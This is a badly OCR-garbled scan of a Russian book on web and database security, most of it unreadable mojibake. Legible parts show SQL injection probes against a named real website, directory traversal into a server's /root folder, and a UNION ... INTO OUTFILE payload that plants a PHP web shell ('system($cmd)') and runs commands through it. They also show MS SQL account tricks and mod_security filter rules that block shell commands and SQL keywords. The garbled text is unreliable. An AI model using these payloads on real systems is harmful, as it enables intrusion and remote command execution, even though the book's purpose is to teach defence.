YBHAWTE IPUMEPHO CASAYIOWIMA PesyRbTaT:

+

| Tables_in_mysql |

columns_priv
db
func

uger

| |
| |
| |
| hosts |
| tables_priv |
| |
+ +

6 row in set (0.00 sec}

6 CTPOK B Hasope (Bpewma BmmosHerMs 0,00 cexyhmm)

Bee Tabnuuk! Mbl paccMaTpuBath He GyzeM, a 0OpaTHM BHUMAHHE TOTLKO HA CAMO
unrepecuoe. Camas MuTepecnas Tabnuua — user. Ecau y Bac ectb noa pykoll
CY5]Jl MySQL, To ebinonsure SQL-3anpoc:

SELECT *

FROM mysql.user

Janueiii SQL-3sanpoc BeGupaeT Bce 3amdcd M3 TaGmuuel user Gasel AaHHBIM
mysql. B o10ii Tabnuue xpanarcs uMena nonbsopateneli, Mx saiudposanHLe Nag
POJIH, & TAKKe NpaBa A0CTYNA /1A KAXKAOro nob3osatena. Ecnu y sac Tako# Gasef
JaHHBIX HET, TO HHYETO CTPALIHOTO, Mbi PACCMOTPHM OCHOBHBIE TIO/IA ITOH Tabnuubl:
O Host — WMS XOCTa;

O user — Mma NOAb3OBATEAN;
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Pnc. 6.10. Ownbra npy nepeqaye HEKOPPEXTHLIX AGHHLIX B NapameTpe

Ecnu nobasuts 8 napametp teket "AND |=1", To SQL-3anpoc Gyner Benonnen
KOPPEKTHO, 4TO SBAAETCA NHUWHHM TOATBEPHACHHEM HANHYMA YAIBUMOCTH:
http://www.classicstoday.com/Classics/ConcertReview_ASPFiles/ViewConcert
Review.asp? Action=User &1D=283%20AND % 201=1.
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P
KoHeuno jxe, MOXHO yeenuuuTL 06REM ONepaTHBHON NaMATH Ao pasmepa Gasbl,
4TO MO3BOMMT 3TPY3IUTH BCE NAHHEIC B MAMATE M OGPaGaTLIBATE HX TaM, YTO Ha-
MHOTO GICTPEE, HO ITO HE YCKOPHT CaMy 3arpysky.

Hrak, arobul Baura 6a3a faHHBIX GbUta MUHMMATBHOM, BBl I0JDKHB! HCROABIOBATL
ToNbko HeoBXoauMEll patMep moneli. Hanpumep, ana Xpakesns HoMepa tenedo-
Ha RoCcTaTO%HO 10 CHMBOJIOB M HE HAAO UCTIONB3ORATH MUTA 310r0 SO. Jns TaGmuuer
¢ 100 000 sanucelt 3ro GynyT auinaue 4 M6Galit uadopmaumuu. A ecau nonelt
C 3aBbllIEHHBIM pasmepom 107 B aToM ciyvac pacxoft CTAHOBHTCS CAHLIKOM
GoabwuM. EcAK none KOMKHO WMeTh paiMep Gonee (00 cuMBOMNOB, MomyMaiite
© TOM, YTOGH WCTIONB30BATH T TEXT UAK MEMO. HekoTopbiM Gazam ZaHHBIX 310
AeHCTBATENLHO MOXKET IOMOUb, NOTOMY 4TO 3HAYEHMA TAKHX [ONEH XpaHATCH
HA OTAC/BHBIX CTPAHHULEX.

Opsospemenno ¢ onruMuzanueli SQL-3anpocoB Bbl ZOMKHBI ONTHMH3HPORATE
n camy 6a3y HaHHBIX. 3TO NOCTHraeTCs ¢ NOMOIIBIO BBEACHUA HOTIONHHTEIbHBIX
MHIEKCOB HA MO/, MO KOTOPLIM YacTo MPOMCXOAMT BeIGopka. Muaekchr Moryr
3HAUMTENLHO YCKOPHTD MOKMCK, HO C HUMH HY>XHO OBPaLIaTbes aKKypaTHO, NIOTOMY
YTO CAHiIkoM GOMBIIOS WX KOHYECTBO MOXKET 3aMennuTs paboty. Yawe scero
3aME/LICHHE MPOUCXOANT BO BpeMA HOGABNCHUA WM yAANCHWE 3aTTHCEH, YTO Tpe-
GyeT BHeCEHHA M3MEHENHiT B GONBILOE KONHYECTBO HHIEKCOR.

Moce BHEeCEHUA M3MEHEHMH Bbl JOMKHDI MPOTECTHPOBATL CHCTEMY Ha NpeaMeT
TNPOHU3BORUTEABHOCTH. Ecau CKOpOCTh HE YBEAUYUAACh, TO YAAIUTE HHACKC, YTO-
6bl OH He OTHUMaN JUINHKE PeCypceel, NOTOMY HTO nobasnesne CCOylOWero Hu-
JIEKCa MOXET He IPMHECTH EaeMoro sdiexTa H3-3a NPHCYTCTBUA TPEHBIAY-
LIMX — HE UCMOAB3YEMbIX, HO OTHHMAIOWMX PECYPChI.

Eule onsym cnocoGoM NOBBILICHHA CKOPOCTH paboThl 3anpocoB MOXET ObiTh e
HOpManu3auusa AaHHbIX. Yro 370 Takoe? Y Bac MOXET GbITh HECKOMBKO CBA3AHHBIX
Tabaul, HanpuMep, B OXHON W3 HUX HAXOAMTCA $aMUNKA YenOBeKa, a B APYrof
ropoxn mposkusatus. Yrobbr nonyuuts B oasoM SQL-3anpoce oba 3HauCHUS, HyH-
HO HABECTH CBA3b MEXKIY 3THMU TabNMUAMH, 4TO MOXET OTPHUATENBHO CKA3ATHCA
Ha MPOU3BOAUTEABHOCTH. B Takux CAyyasx 3HaueHus oaHO#i TBGJlHuM Konupyror
B PYTYIO W CBA3b CTAHOBMTCA HemyxHoi. Koneuso e, nossnserca u u3bpirod-
HOCTb AAHHBIX — B ABYX TaGnme XPaHATCA OIHO H TO K¢, HO TO MOBLICHT CKO~
pocTs 06paloTky ¥ MHOTIA OUeHb 3HAUHTENBHO,

MHHYCOM ACHOPMATN3ALMY SBIAETCA M CNOKHOCTL NOAZepXKKHM AakubiX. Ecnu
B 0aHOW TAGHHMLE MIMEHUIOCH 3HAYCHHE, TO Bbl JOMKHLI OGHOBHTL COOTBETCT-
BylOLUME 3HaueHus B apyroit Tabnuue. Mmenno nostomy ans meHOpManuIauuu
HCMOJIL3YIOT TONLKO T€ AOMA, KOTOpIE M3MEHAlOTCA peaxo. Kpome Toro, ecau
CYB] noanepskuBaeT TPUITEPH, TO 3aa4y 1o 0GHOBACHHIO TaGTHII MOXIIO nepe~
NOXKHTD HA HeE.
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Sales Totals by Amount dho view

Sysconstraints dbo view
Syssegments dbo view
Categories dbo  user table
CustomerCustomerDemo  dbo  uger table
CustomerDemographics dbo user table
Cugtomers dba user table
Employees dbo  user table
Syscolumns dbo  system table
Syscomments dbo  gystem table
Sysdepends dbo system table
sysfilegroups dro  system table
Crenylotue nBe NpoUeAYpbl, KOTOPBIE TasT B cefe OACHOCTH, — sp_adduser

Y sp_grantdbaccess. JI15 Hauana paccMOTPUM INepByl0 M3 HuX. [lponenypé
sp_adduser HY)XXHO TIEDEXATS TDH NapaMeTpa (TOALKO Iepabili napamerp AsnseTcqd
obA3aTENbHBIM):! |
O wmsa nonssosatens (login);

) uma yuerHoii 3anucu 8 CYBJl. Eciu 2707 napaMerp He ykasaH, 10 Oyzer Hca
TOAB30BAHO UMA U3 MepBoro napameTpa;

0] vMs rpYNObE WY POAH, B KOTOPYIO aBTOMATHYECKH NIONAKAET NOAb3OBATE b,

Tpu nobasnenny NONL3OBATEN S YKA3AHHOE WMA YXKE NOMKHO CYLIECTEOBAT
8 MS SQL Server unu 8 OC Windows.

PacemoTpum npumep. B OC Windows yike cyluecTeyer roctesas ydetHas sanuchl
J[araiiTe Belnagum ef npasa Ha 0CTYN K TekylueH Haie Danubix:

EXEC sp_adduser 'notebook\Tocts'

VYuetHan sanuce Focte npucyTcTayer 8 Windows-cHcteMax 1o yMoaqanuio. E
3Ta y4eTHas 3ankch He 3a6A0KUPOBAHA, TO XaKEP CMOXKET C ITOMOIBIO XPAHUM
Tpouenyp HaaenuTs ee mpasaMi Koctyna k CYBJI u Mcnons3osath Ang cBOMX
neit. Ho xaxepy eiwe xenaTenbHO 3HATH CETEBOE MMA KOMMbIOTepa. ITO nem
CAeaTh ¢ TOMOUIBIO NPOLEAYPhl Xp_getnetname.

TNpouenypa sp_adduser CHHTACTCA YCTapeBiei H OCTABNEHa TOMBKO 1A COBMEOH
THMOCTH CO CTAPBIMH NpUNOXeHuAMK. Ha JaHHEIE MOMEHT pekomeHayerca HQd
TIONb30BaTh NPOUENYPY sp_grantdbaccess, KOTOPOH HY)KHO MepeaaTh Creayin
UE NapaMeTpsl:

O wumsa nons3osatens (login), kotopoe 3aperucTpuposado B OC Windows NT uay
coznano B MS SQL Server;
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PeLUeHHe, HO BCE-TAKM JyuIle, YeM Huuero. ECnu Gbl OHH K TOMY Xe nepenMeno-
BATH AOMALIHION NANKY aAMHHUCTPATOpa, 6bi10 Gb1 COBCEM XOpOLLO.

TlocMoTpHTe Ha mpeanocnenniolo 3anuch, O6paTHTe BHUMAHKE HA NyTh K OAMKe:
/home/PahalN/./wwwi/altruistic.ru. Yims nankw altruistic.ru ykasbisaet Ha To, uTo
TAM JOMKEH HAXOMMTBCA OMH O4EHb 3HaMeHuTsIii Web-calit. Her, s B3nameiBan
He ero, a Apyroli Web-calfT, Ho 6Grarofaps ToMy, 4To ofa OHU HAXORATCA Ha OA-
Hom Web-cepuepe, 8 NOAYSMA OCTYN U KO BTOPOMY.

l'lpe)wxe 4€M 3AKOHYUTb UCCNCROBAHNE, 4 3aTNAHYN B AOMALLHIOK MAMNKy aAMUHU-
crpatopa:  hitp://www.sitename.domain/index.php?dir=/root&file=.. Camoe
HHTEpECHOE, YTO MHe GBbLIM MoKasaHb! Bee Gaiibl. 3HauuT, npas y Web-cepsepa
HOCTATOMHO Ana paboThi ¢ IruMyu dalnaM, YTO yxe O4eHb ONIACHO, Belb B 3TOH
nanke SBHO JIEXKAT PE3CPBHBIE KOMKH U KOMUHK (aiinoB KoHGUrypauuu.

Ha 3T0M # pellnA 3aKOHYHTD HCCASIOBAHWE W HAMPABUTL AAMUHKUCTDATOPY NHCLMO
€ OMKCAHHEM YS3BMMOCTH, 4TOGH €6 CMOTJIM 3aKPBITh O BBIXOJA KHUTH. A BEIb
MOXHO GBITO CKauaTh KOH(MrypanuonHsie dafnsl U pesepsHble Konuy, a Taloke
¢aiin ¢ 3amudpoBaHHBIMK MAPOAAMM M, MPOAHANIMIWPOBAB MX, BITOMaTh Web-
CcepBep U YAAINTE Bee ero conepkuMoe. Ho 3T He YKPAIAET HACTOAIEND XAKEPa,
2 TONbKO MOPTUT 10 PellyTALMIO, IOITOMY A He CTan 3TOro AefaTh. Bee daiinwl,
HaHIeHHbIe MHOM, OCTATHCH HE TPOHYTBLIMH, H A aXe He caenan cefe HX KomuH.

HeoGxonuMbiit MHHUMYM JEHCTBUH, KOTOPLIE NOMKHBI BHINONHUTE AAMHHHCTPA-
TOpH! ANA 3a1dTel Web-caifra:

01 B napameTpe dir NPOBEPATL HATMHME CA3WA ¥ ToUku. B rom cnyuae Gymer
paspeiteHo 06pamaThCa TOMLKO K NANKaM, HAXONAIMWMCA B TeKyluel AHpeKTo-
PHH, T. €. Heb3A GYRET yKasbisaTh TAKWe IyTH, KaK, HanpuMep, /etc. Hackonb-
KO MHe YRanoch NOHATL CTPYKTYpy Web-caiita, B HEM He CONEPHKUTCA BIOXKEH-
HbIX IMPEKTOPHH, H CAIIL TIPOCTO HE HYXEH;

) He HCOONB30BATH MMEHA TTAPAMETPOB BPOAC dir v file. Takue MMeHa mawaT
MoGoro BINOMILWKA, kak kOTa BanepssiHka. Jlyuuse Gerio 6ur 3ameHHTs ux Geo-
CMBICTIEHHBIMH MMEHAMHU, CKaXEM, paraml M param2. He poranbisasch o Ha-
3HAYCHHH FIAPAMETPA, HAYHHAIOWMHA BINOMUIMK HE CMOXET BLICTPO HAWTH eMy
ApumeHenye. ONbITHEIE B3AOMIIMK ONPENenyT HAazHAYEHKE NapamMeTpa, faxe
£CM MM HE HECET HUKAKOTO CMBIC/A;

0 sa ganHom Web-caiiTe 3anpeTuTs TOUKY HEJTb3A, OTOMY HTO OHa HCMONL3YETCH
LN OTAENEHMA PaCLUKPEHWA, a OAMHOYHYIO 3aupeTHTb Heobxomumo. B stom
CITyuae BIIOMLUMK HE CMOXET TIPOCMOTPETh COAEPIKMMOE TEKYLUEH IHPEKTOPHH.

Ecnu 6w 4 mucan cuenapwit, TO B TapaMeTpe file mepesasanl Gbl TONBKO KMA
¢haiina Bes pacwmpenus, a paciumpense noacTasam 651 nporpammuo. [lng atoro
Hy*HO, uTOBhI BCe noAKUiodaeMbie daiinkl HMENY OQHO PacLMPEHHE, k KauecTse
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B aannoM cnyuae peaynbTar HopMabHoro SQL-1anpoca SELECT O0GbeAuHSRTCA
¢ SQL-3anpocom, KOTOphiii Bo BTOPOM mapamMeTpe (TaM, rae AomKeH Sbrth BONPOC
rof0coBaHNA) sarpyxact gaiin /etc/passwd. B arom ¢aiin OC Linux xpanut ume-
Ha BCex nonbiosatenedl CHCTEMBY, 8 oueHb crapbie epcuu OC Linux snech XpaHH-
JiK W xoww naposied, Ho 970 G50 0YeHb AABHO, W cefiuac XdMM napoaeH XpanaT-
cs B aitne /etc/shadow, k koTopoMy y Bac ckopel Boero He GyaeT npas AocTyna.
Ho 3Hanve umMeHd yueTHbIX 2amuceit monb3osarenedi yxe 4To-10. JIeno B T0M, 4TO
uem Gonbiue noassoBaTenedi, Tem npotue noAoGPaTh Naposb K OAHOH U3 CymecT-
BYHIWWX yueTHBIX 3anucefi. Kak mokasbisaeT mpakTHka, Ha COTHIO monb3onatenelt
MOXeT HalTHCh TAKOW, Y KOTOpOro maposib GyfeT COBOANaTh C HMEHEM WM Nia-
ponb GyZeT CRUIIKOM NPOCTol U ero noaGop OTHUMET He fonee MATH MUHYT.

Januck B hakn NPOUCXOAHT CREAYrOLMM 06pasom:

hacker' union select null,null,null,null,null,null,null,null,null

from sfm _polls into outfile index.php/*

Takum obpasom, pesynsTat SQL-3anpoca Gyaet sanucan 8 ¢pakn index.php. Yaume
BCEro y y4eTHOW 3afucy, oA KOTOPOH Bbl paGoTaeTe, AOCTATOYHO 1PaB, YTOGH!
nepesanycaTh 3TOT (haiis, a IHAUKT, BB CMOXKETE TPOHIBECTH Aedelic.

Ecsm mpas Ha cospanne (aiina HENOCTATOUHO, TO MOXHO MCMOAb3OBATH HMEIO-
wniics aiin, U sanMcaTh B Hero HeoGXOAUMBIN KOA, C MOMOLIBIO KOTOPOrO MOXKHO
Gynet momyswTo Shell (komanaHyto cTpoKy ANla BLOAHEHUA koMaun). Hanpumep:
hacker' union gelect null, '<?print(system($cmd))?>',
null,null,null,null,null,null,null

from sfm_polls into outfile cmd.php/*

B nansoM ciiyuae 8 daiu cmd.php Gynet sankcas pesynsTaT BHITONHEHNA 3aMPO-
ca 4 PHP-onepatop <?print (system(Scmd) } 2>,

Terepb MOXKHO BBIZbIBATH 3TOT CLEHAPHH W B NAPaMETPE $cmd MEPenaBaTh KOMaHIbI,
KoTopbie GymyT BbimonssTeCH, Hanpumep: hitp:/localhost/cmd.php?emd=ls ~al.
B pesynwrtate Web-cepaep BLITONHHT KOMAHIY 1s -al W 0TOGPasuT peaynbTaT ee
BBITIONHEHUA,

5.2.4. Mounck ya3sBuMocTU

HTak, kax Bbl MOJKETE MCKaTb yS3BUMOCTH Ha Web-calite? Camptii AeHcTseHHbIR
cnocof — BO BCex napaMeTpax, KOTopble Bbl BUAHTE B cTpoke URL, & noasx BBOAR
u B daiine Cookies nONbITaTECA yKasaTh CUMBON OQWHAPHOH KasbykH. Hanpumep,
ecnu URL suirasauT caeyomum obpasom: http:/localhost/index.php?id=1&s=test,
TO MOXHO nonbITaThes ykazats: http:/localhost/index.php?id=1'&s=test’.

Ecnv cuenapuit BepHer ownbKy, TO 370 yxKe TOBOPHT O BOIMOKHOCTH peanuio-
path aTaky SQL-uabexumn. Kak mbl yie anaeM, o omnGKke MOXKHO ONPSASNHTR
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Tenepb, 3Hast MMeHa TaGHI, MX MOKHO M3MEHATh WIH FIPOCTO YAANATH JAHHBIE.
Ho a ue BaHAaan. A cHosa OTMPABHI HA& BCC ampeca, KOTOPLIC HALICT B Pasae-
ne Contacts, coobenne ¢ onucanueM owubku. Haaewocs, B 3TOT pas oHl ee
HCOIPaBHIH.

Jlsusemcs fansie. Yro6bl MOTyUuTs UMeHa BeeX KOMOHOK, Heobxomumo obpa-
TMTBCH K TabMMue COLUMNS M3 INFORMATION SCHEMA. Hanpumep, criesyiomus
3aMpoc BOIBPATHT UMEHA KOTOHOK TabNHus! Users:

SELECT COLUMN_NAME
FRCM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='Users'

6.2.4. Pexomenpauumn
no 6esonacHocT MS SQL Server

BesonackocTs MS SQL Server He aBnserca TeMOH aHHOM KHUTH, HO a3 YK Mhl
paccMaTpyBaeM B3NOM M GesomacHocTh Web-CepBepoB, TO PACCMOTPHM HEKOTO-
poie pexoMennauny, sefte CYBJ] — ceoeofpashas yacts Web-cepsepa.

Jna sammter CYBJ oT xaxepoe Bee CUSHAPUM BODKHEN BLUTONHATLCH OT MMEHH
HETIPHBHICTUPOBAHHOTC NOAL3OBATENA. BT0T NoNE30BATEND DOIKEH OrpaHAYH-
BaTbCA TOJNBKO BblGOPKQﬁ AaHHbIX, 3 BCTABKA H OGHOB/IEHHE HOMKHBI GbITH Ao~
CTYNHBI TOABKO ATA TeX TaGAUL, rae 310 AEHCTBUTENLHO HyxHO. YeM MHe Hpa-
BuTca MS SQL Server, Tak 310 TeM, 4TO OH NpeAOCTaBISET O4eHb YR06HOe cpen-
cTBo ynpaenenus — Enterprise Manager. C ero noMoiubo ouenb yno6Ho yrpas-
AATb K [PaBaMH.

”TEK, CaMH PEKOMEHIAAUHH. 3anpemaeM BCE, YTO HC WCMOAL3yeTCH, ANlA 3T0ro
BUﬁﬂHTe B CBOHCTBE 110/130BaTENA, OT HMMEHW KOTOpOro pﬂGOTaK)T CUCHAPHH,
¥ HA3HAUETE EMY TOAIBKO TE POAIH, KOTOPIE ACHCTBUTE/LHO HEOGXONHMBI {pHC. 6.14).

Mo ymonuasuo Bee 1oAb30BaTenH MOMENaoTcs B pons public. Hukorna we ne-
nonb3yiTe ee, MOTOMY YTO OHA PaspellaeT CAMIIKOM MHOTO. A €C/TM BCE XKe WC-
nofb3yere, TO OrPaHAMLTE MpaBA ABHO: HAXMUTE KHomky Permissions s oxne
CBOWCTE MONb3OBATENA, K NEPEA BAMM OTKPOCTCA OKHO YNPaBNEHMA NOCTYIIOM
k o6bekTam (puc. 6.15).

310 okHO umeeT BHj TaGnuubl. CTPOKM — 3TO 06BEKTHI Gazbl JaHHBIX, 8 KONOH=
Ki — OTIEPATOPbLI, HA KOTOPbie MOXHO yCTaHarTHBaTh npasa. Ecnu suelika ua ne-
peceueHHi HMEHH OGBEKTA M OTepaTopa NycTas, TO PARa HA Hee TAKHME XKe, KAk
Wy pony, KOTOPYIO HacleayeT Nojp3oBaTenb. UTo6bi nofaBuTe NpaBo TeKyueMy
110/1b30BATENO, WEAKHUTE TIO AUeHKEe ONMH pas, U B A4eHKe MIOABKTCH 3E/ICHAA a-
nouxa. Eciiv 3anpeTuTs (maxe ecnaM posM paspellieso), mEnkuute BTOpoH pas
¥ 3eNeHan FBJI0YKa H3MEHHTCA HA KPACIbIR KPECTHK, O3HAHAIOULMHA JaTIpeT,
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O nepen coXpaHeHUEM Pe3ysILTaTa FONIOCOBAHHA TPOBEPATS, eClH B 310H Tabifiue
yXe eCTb UMs MPOroNoCOBABILEro, TO 3aNpoC MOML3OBATENA HEOGXOAUMO
OTKIIOHHTS,

Takol cnoco6 ouenb apdexTusen. Ecau monpsosatens 3axouer o6MaHyTh Bac
H OpOrofocosaTh ABANKAL, TO ANA TOro, 4robbl OTAaTh BTOPOH ronoc, mpuietcs
TpoTH Bech npouece perucTpauun Ha Web-calite. Ecyin perucTpaums conposox-
naeTca OTIPABKOH MO MOTE KOMA MOATBEPKIEHHA M AKTHRALMM, TO OGMAHIHMKY
TIPUOETCS CO3NABATH OTAENBHbIN AWAK A8 KDKROH PErucTpaLuu. A 370 eilie OHa
npoGnema, petiende koTopoii noTpeSyer spemenn. Yem Gonblue BpeMenu Heob-
XOAMMO Ha TO, uToGbr chanbeudUUMpoBaTh rONOC, TeM Menblue SymeT nomLToK
€AEnaTh 3To.

C apyroit CTOPOHBI, PEFUCTPAUMA AOMKHA GbITh MAKCHMAILHO TIPOCTOH M ynob-
Holt. Ecnik ee caenath croxHOM, To A06pONOpAROUKEIE MONL3OBaTENM He GyayT
PErMCTPHPOBATLCA HE TO, YTO HBAKABI, a JaXKe CAMHOXKIM. Bbl MOXeTe ckalaTh,
4TO YEM MEHbIUE PETHCTPALIMI, TEM MEHBINE BEPOATHOCTh, HTO CPemy HuX Gynet
XaKep, HO 3TO HeBEpHO. eno B TOM, HTO VIOYMBIUINEHHHK MOTPATHT BPEMs HA
PErUCTPaUMIO, AXKE CAMYIO OArYIO, a No6pONOPAROUHbIH MOABIOBATENb MONKET
W OTKA3aThCH OT Hee, eCil B Heil ne GyneT octpoli HeobxogumocTy. Kakoil crox-
HOCTH ZIeN1aTh perucTpauuto — ato mpobneMa paspaGorumka (enagensua) Web-
caifta, OH ZO/KeH HAHTH CBOIO 30/I0TYIO CEPEAKHY.
Onsaxasl 2 cyyaitio 3a6bin 3a0aTh TPaBHIO, IO KOTOPOMY HE CIIENOBAN0 NpH-
HUMaTh FOJOC OT Yxe MpOTOAOCOBABILEro NoAb3oBaTens. IonocoBanue onpatu-
BAJIO MOceTHTeneH MO NOBOAY MPOBOAMBIIErocs KOHKYPCA, M OT 3TOTO 3aBHCENA
cyns6a aenexHoro mpwaa. Tem, KTo yuacTrosan & koukypce, Ghuto 6b1 ofunHo,
ecnu Gkl NeHBTH AOCTANHCH TOMY, KTO HAaKpyTHA pesynbTat. Ho Gnaronaps Tomy,
uTo ua Web-cepaepe Gbina Ta6AHua C N3HHEIMH, 28 KOTO NOSOCOBAT KaKOH TOb-
30BATENE, TO A IETKO CMOT BLIUHCANTE TEX, KTO HAKPYYMBAN ARHHLIC,
Kak moxHo Haiith o6MaHwMkoB? JIOMYCTHM, YTO Balle rofOCOBAHUE MO3BOASET
BBICTABHTH OLEHKY OT | 10 § 32 onpenenentyro nosuuKio Tosapa. B aTom ciyuae
TIONIB30BATENh MMEET NPABO TONOCOBATL TONLKO OMIMH Pa3 3a Kaxcuel Tosap. Tab-
DU CO CITMCKOM MPOTO/I0COBARIIMX TOMXKHA COCTOATH U3 CAEAYIOMIMX nonedi:
0 keyl — KA1O4€BOE NONE;
0 iduser — WAEHTH(HHKATOP NIONTEIOBATENS;
0 idGoods — HAGHTH(UKATOP TOBAPA.
‘Tenepb Nepej YUETOM roioca JOCTATOUHO BLIMOAHUTE CeayIoulmit 3anpoc:
SELECT count (*)
FROM Tamuus
WHERE 1dUser=Vws

AND 1dGoods=ToBap
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‘Web-caiira, 1o 5ToT napont Syaer naxoautbes 8 erpoke URL. JTio6oi mumo nipo-
XOAAMMI HEIOBEK CMOXET 663 Npo6/ieM YBULSTD 3TY CTPOKY K TIapoO/ib.

Hukorna We nepenasalite BaKHbIG JaHHBIE METONOM GET, B 3TOM Cjyuae Nyuie
UCMOAb30BaTh MeToA POST. Ho 3T0 He 3HAuMT, YTO METOX GET HE HYXKEH COBCEM,
[POCTO K HEMY HY)KHO MOAXOAMTH ¢ 0c0GOH OCTOPONKHOCTBIO U IPOBEPATH JHHOGHIE
aHHBE, KOTOPHIE NOTYYEHb! 3THM CAOCOBOM.

Korna HYKHO UCNIONIB30BATH GET:

] kOra Bbl TOYHO YBEPEHE], YTO YEPE3 ITaPAMETPhI HE MEPEAAIOTCA BAKHBIC HaH-
HbIE;

00 Koraa 3to AEHCTBUTENBHO YROOHO M HEOGX0AMMO.

Korna moxer ro3sHUKHYTh neobxogumocTs? Cambii mpocTeditiinii RapHanT: Nofb-
30BATeN AO/DKEH KMETh BOSMOXHOCTE HAmpAMyto oGpatuteca k Web-ctpannue
Ge3 npenBapHTENbHOTO BROAA TAPAMETPOR B OTAELHON hopMe.

MeTon GET 4acTO MCMONb3YeTeA B MAPTHEPCKUX mporpaMMax. JomycTuM, uto Bbi
3aperMCTPHPOBANHC B KAYECTBE APTHEPA Marasuka Amazon (Www.amazon.com)
¥ DOMKHEI TIOAYHaTH NPOLEHTH! OT 32Ka30B TOBAPOB, CACNAHHBIX MO CChIIKE C Ba-
inero Web-caifra, Kak marasun y3uaer, 4To nokynaTenb NpUiNEN HMEHHO M0 Ba-
weii cconke? Cambrii mpocToli mpuMep — pa3mecTHTh Ha ceoeM Web-caiire
CChIIKy HA Amazon, B KOTOPOM 6bia Gbr napameTp & GopMaTe GET, HACHTH(HLH-
pytowMii sac, sanpumep, www.amazon.com?partner=flenov. B cuenapun Ha
Web-cepsepe Amazon NpoBEpACTCS, €CAM NapaMeTp partner CONSPKUT UMA 3ape-
THCTPUPORAHHOTO MAPTHEPA, TO OTYMCAATH HA €r0 CHET MPOLEHT OT 3AKA3AHHBIX
T08apoB. BHumanue, 370 TOALKO NPUMED, KOTOPBIH HUKAK HE CBASAH C peMbelM‘
nonoKeHueM nena B pafore ¢ maprHepaMy Amazon.

1
i

A6coniorHo 6e30MacHOro MeToAa Mepenadi napamMeTpoB He CYWECTBYET, HO Me-
TOA GET C/MIIKOM NPOCT M NO3ROMIAET Xakepy nerko ucrnonssosaTs URL wis nos
HCKA YA3BUMbIX MECT B BAIUMX CLeHAPHUsAX. Uem npowe HaiTh ownbky, TeM GbicT
pee ee HaliayT, ¥ Aaii Gor, ecnu He BOCTIONB3YIOTCA 3TOH OWNGKON B KOPBHICTHBIX
Lenax.

Uem ewre CTpawHul 3anpocel GET? [lpo6nema KpPoeTca B TOUCKOBLIX CHCTEM:
0cofeHHO B MOLUHOCTH TOMCKoBOH cucTembl Google. Her, 2 we npotus Takoi
MOLLH, TIOTOMY 4TO OHa HeoGXomuMa, HO uToGuI Bam Web-calfT He okasancs 11o;
YIpPO30ii, HEOGX0IHMO YUHTHIBATH BCE BOIMOMKHbIE Npobembl.

Ho xBatut ofuwix cnoe, nasaite paccMoTPHUM 3TOT BONpOC NoBHUMaTenbHee. Jlo
TYCTHM, Bbl Y3HATM, 4TO B KAKOH-TUG0 cHcTeme ynpasienua Web-caiiTom nodsus
nack yA3BHMOCTb. UTo 3T0 3a cucTema? CyuiecTsyeT MHOKECTBO TIATHBIX U Gec
[aTHBIX TOTOBBIX AporpamM, Hanwcasueix Ha PHP, Perl u npyrux sasikaX
Y TIO3BOAAIOWMX CO3HaTh Web-caitr Ges ocobuX ycunni. Takue cucremss moryt
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[O3BONHTE XaKepy YBHAETb COAEPXHMOE KATANOroB, CTH B CLEHAPWH eCTh
owrnbka. Heo6xoaumo 3anperdTh o6paillenta K Takum KOMaHAaM, Kak cat, rm,
cp, £tp M Ap.;

0 secFilter °\.\./" — KiaccHyeckan aTaka, korga B URL yka3blBatoTcs CHM-
BOMbI TOueK. VX He 10mKHO GBITH Tam;

O secFilter *delete[[:space:])+from" — 3afipeT TEKCTA delete ... from,
YTO Yallle BCEro Mcnonbyercs B SQL-3anpocax fyis yaaneuus AaHHbIX, Takok
TEKCT OHEHb YaCTO UCHOMb3YETCA B aTakax Tuna SQL-unbekuua. omumo 3to-
0, PEKOMEHYETCH YCTRHOBHTb ClieAYIOUIHe PHABTPLI:

® SecFilter 'insert[[:space:]]l+into* — Hcnons3yercs B SQL-3anpocax
78 J(oGaBNeHNs JaHHbIX;

® SecFilter "select.+from" — ucnonb3yerca B SQL-3anpocax ans yrenus
A2HHBIX K3 Basbl;

* SecFilter "<{.[\m)+>" H SecFilter "<[[:space:}l*script® —
NO3BOJAIOT 32MUTUTLCA OT XSS-arak,

MBI paccMOTpeNi OCHOBHBIE METOAbI, KOTOpble MOTYT MOBLICHTH Ge3onacHoCTh
sautero Web-cepsepa. Takum oGpa3om, MOXHO 3alMIUATE JEKE CCTH M3 Cepee-
po.. ononHuTenbHyIo HHGOPMauMio MOXHO nomysdTs ¢ Web-calita paspaGor-
4HKOB ARHHOTO MOAYNA.

Moayne mod_rewrite

Mogyns mod_rewrite npesHaHaded Ans npeobpasosans URL u3 oaHoro susa
B 2ipyroi. 3auem 370 HyxHO? B URL xpaHuTca He TOTbKO azipec cepeepa U nyTh K
haiiny, KOTOpbIi 321POCHN NONL30BaTENb, HO K NaPaMeTPbl, KOTOPbIE NepealoTca
Web-crpanuie. Mbl yxe TOBOPHNHM, YTC 3TH NapaMmeTpsl He 6e30nacHsl,
H XaKepbl KCHOALIYIOT UX 417 B3/IOMA, Mbl TaKXKE Gy,!leM HX HCNONB30BaTh AIA
3THX ueneii B crieayolled rape.

Tak BOT, ¢ noMoLts0 mod_rewrite MOXKHO crenaTh Tak, utobsl URL Bhirnsaenu
B Bujie: Www.sitename.com/5754.htm. Uro 3aeck Takoro? Ha nepsuii B3rnss sto
npocroii HTML-¢aiin, koTopblii He yMeeT npuHHUMaTh NapaMeTPbl, 2 Ha CaMoM
nefie napamMeTphl APOCTO CKPbITH Grarosaps Moy o mod_rewrite, U 5TO HHKaKOH
ve HTML-paitn. MoxHo gaxe ckasath Gonblie — Ha cepsepe HET Takoro dafina
5754.htm. Ha camom aente uM3a ¢aiifla npeBpallaeTcs B NapaMeTPEl, KOTOpHIE fie-
PEAAIOTCA ONPEAENEHHOMY CLEHAPHIO.

YyTh nomke Mbl eule BEPHEMCA K STOMY MOZYTIO M PACCMOTDHM METOAbI B3OMa
1 o6xona ToH 3awUThI.
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3o Toe u3Menenue rnasHol Web-crpannun, u ero MOXkHO oTHECTH K Aedelidy.

HauGosree uHTepecHbIMH VIS XaKepa ABIAIOTCA UMeHa Tabnuu, Yrobel OGHOBIATE
H yAanaTh AaHHEE, HEOGXONMMO 3HaTh Ha3BaHUA 0GBEKTOB, ¢ KOTOPLIMH BRt pabo-
Taere. Jlag 3TOro WCMosb3yerca TaGAMUA TABLES M3 INFORMATION_SCHEMA HIH
MPOCTO: INFORMATION_SCHEMA.TABLES. UT0GLI MOMyunts Bce MMena TaGnuu,
He06X0AMMO BLITIONHUTE 32NPOC:

SELECT TABLE_NAME

FROM INFORMATION_SCHEMA.TABLES

